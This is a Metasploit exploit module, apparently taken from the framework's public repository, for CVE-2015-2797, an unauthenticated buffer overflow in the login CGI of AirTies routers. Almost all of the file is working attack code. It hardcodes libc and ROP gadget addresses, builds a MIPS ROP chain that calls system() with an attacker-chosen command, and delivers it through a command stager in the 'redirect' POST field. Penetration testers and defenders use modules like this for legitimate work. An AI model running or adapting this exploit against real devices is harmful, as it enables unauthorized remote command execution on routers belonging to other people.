Path: blob/master/modules/exploits/linux/http/airties_login_cgi_bof.rb
28052 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = NormalRanking78include Msf::Exploit::Remote::HttpClient9include Msf::Exploit::CmdStager1011def initialize(info = {})12super(13update_info(14info,15'Name' => 'Airties login-cgi Buffer Overflow',16'Description' => %q{17This module exploits a remote buffer overflow vulnerability on several Airties routers.18The vulnerability exists in the handling of HTTP queries to the login cgi with long19redirect parameters. The vulnerability doesn't require authentication. This module has20been tested successfully on the AirTies_Air5650v3TT_FW_1.0.2.0.bin firmware with emulation.21Other versions such as the Air6372, Air5760, Air5750, Air5650TT, Air5453, Air5444TT,22Air5443, Air5442, Air5343, Air5342, Air5341, Air5021 are also reported as vulnerable.23},24'Author' => [25'Batuhan Burakcin <batuhan[at]bmicrosystems.com>', # discovered the vulnerability26'Michael Messner <devnull[at]s3cur1ty.de>' # Metasploit module27],28'License' => MSF_LICENSE,29'Platform' => ['linux'],30'Arch' => ARCH_MIPSBE,31'References' => [32['CVE', '2015-2797'],33['EDB', '36577'],34['URL', 'http://www.bmicrosystems.com/exploits/airties5650tt.txt'] # PoC35],36'Targets' => [37[38'AirTies_Air5650v3TT_FW_1.0.2.0',39{40'Offset' => 359,41'LibcBase' => 0x2aad1000,42'RestoreReg' => 0x0003FE20, # restore s-registers43'System' => 0x0003edff, # address of system-144'CalcSystem' => 0x000111EC, # calculate the correct address of system45'CallSystem' => 0x00041C10, # call our system46'PrepareSystem' => 0x000215b8 # prepare $a0 for our system call47}48]49],50'DisclosureDate' => '2015-03-31',51'DefaultTarget' => 0,52'Notes' => {53'Reliability' => UNKNOWN_RELIABILITY,54'Stability' => UNKNOWN_STABILITY,55'SideEffects' => UNKNOWN_SIDE_EFFECTS56}57)58)5960deregister_options('CMDSTAGER::DECODER', 'CMDSTAGER::FLAVOR')61end6263def check64begin65res = send_request_cgi({66'uri' => '/cgi-bin/login',67'method' => 'GET'68})6970if res && [200, 301, 302].include?(res.code) && res.body.to_s =~ /login.html\?ErrorCode=2/71return Exploit::CheckCode::Detected72end73rescue ::Rex::ConnectionError74return Exploit::CheckCode::Unknown75end7677Exploit::CheckCode::Unknown78end7980def exploit81print_status("Accessing the vulnerable URL...")8283unless check == Exploit::CheckCode::Detected84fail_with(Failure::Unknown, "#{peer} - Failed to access the vulnerable URL")85end8687print_status("Exploiting...")88execute_cmdstager(89:flavor => :echo,90:linemax => 10091)92end9394def prepare_shellcode(cmd)95shellcode = rand_text_alpha_upper(target['Offset']) # padding96shellcode << [target['LibcBase'] + target['RestoreReg']].pack("N") # restore registers with controlled values9798# 0003FE20 lw $ra, 0x48+var_4($sp)99# 0003FE24 lw $s7, 0x48+var_8($sp)100# 0003FE28 lw $s6, 0x48+var_C($sp)101# 0003FE2C lw $s5, 0x48+var_10($sp)102# 0003FE30 lw $s4, 0x48+var_14($sp)103# 0003FE34 lw $s3, 0x48+var_18($sp)104# 0003FE38 lw $s2, 0x48+var_1C($sp)105# 0003FE3C lw $s1, 0x48+var_20($sp)106# 0003FE40 lw $s0, 0x48+var_24($sp)107# 0003FE44 jr $ra108# 0003FE48 addiu $sp, 0x48109110shellcode << rand_text_alpha_upper(36) # padding111shellcode << [target['LibcBase'] + target['System']].pack('N') # s0 - system address-1112shellcode << rand_text_alpha_upper(16) # unused registers $s1 - $s4113shellcode << [target['LibcBase'] + target['CallSystem']].pack('N') # $s5 - call system114115# 00041C10 move $t9, $s0116# 00041C14 jalr $t9117# 00041C18 nop118119shellcode << rand_text_alpha_upper(8) # unused registers $s6 - $s7120shellcode << [target['LibcBase'] + target['PrepareSystem']].pack('N') # write sp to $a0 -> parameter for call to system121122# 000215B8 addiu $a0, $sp, 0x20123# 000215BC lw $ra, 0x1C($sp)124# 000215C0 jr $ra125# 000215C4 addiu $sp, 0x20126127shellcode << rand_text_alpha_upper(28) # padding128shellcode << [target['LibcBase'] + target['CalcSystem']].pack('N') # add 1 to s0 (calculate system address)129130# 000111EC move $t9, $s5131# 000111F0 jalr $t9132# 000111F4 addiu $s0, 1133134shellcode << cmd135end136137def execute_command(cmd, opts)138shellcode = prepare_shellcode(cmd)139begin140res = send_request_cgi({141'method' => 'POST',142'uri' => '/cgi-bin/login',143'encode_params' => false,144'vars_post' => {145'redirect' => shellcode,146'user' => rand_text_alpha(5),147'password' => rand_text_alpha(8)148}149})150return res151rescue ::Rex::ConnectionError152fail_with(Failure::Unreachable, "#{peer} - Failed to connect to the web server")153end154end155end156157158